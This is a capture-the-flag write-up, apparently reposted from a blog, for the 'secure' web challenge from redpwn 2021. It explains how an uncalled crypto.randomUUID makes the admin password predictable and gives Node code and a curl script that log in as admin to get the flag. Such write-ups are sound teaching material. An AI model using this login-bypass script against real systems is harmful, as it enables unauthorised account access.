Tags: web rev 

Rating: 5.0

> Just learned about encryption—now, my website is unhackable!

This challenge is pretty simple if you know some of JS's quirks. Right at the
top of the file is an sqlite3 expression in JS:

```js
////////
db.exec(`INSERT INTO users (username, password) VALUES (
'${btoa('admin')}',
'${btoa(crypto.randomUUID)}'
)`);
```

This section of code immediately jumped out to me because I noticed that
`crypto.randomUUID` wansn't actually being called.

Because the 'random uuid' is being fed into `btoa()` it becomes a base64
encoded string. However, `btoa()` also expects a string as input. Because every
object in JS has a `.toString()` method, when you pass it into a function
expecting another type, JS will happily convert it for you without warning.

This means that the admin's password will always be a base64-encoded version of
`crypto.randomUUID`'s source code. We can get that base64-encoded source code
by running the following in a NodeJS REPL:

```js
// import file system and crypto modules
var writeFileSync = require('fs').writeFileSync;
var crypto = require('crypto');

// write source to file
writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');
```

I made a simple shell script that calls cURL with the base64-encoded
parameters, and decodes the url-encoded flag afterwards:

```sh
#!/bin/sh

# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }

urldecode $(curl -sX POST \
-d "username=$(printf 'admin' | base64)" \
-d "password=$(cat ./randomUUID.js)" \
https://secure.mc.ax/login)
```

Original writeup (https://blog.pipeframe.xyz/post/redpwn2021#websecure).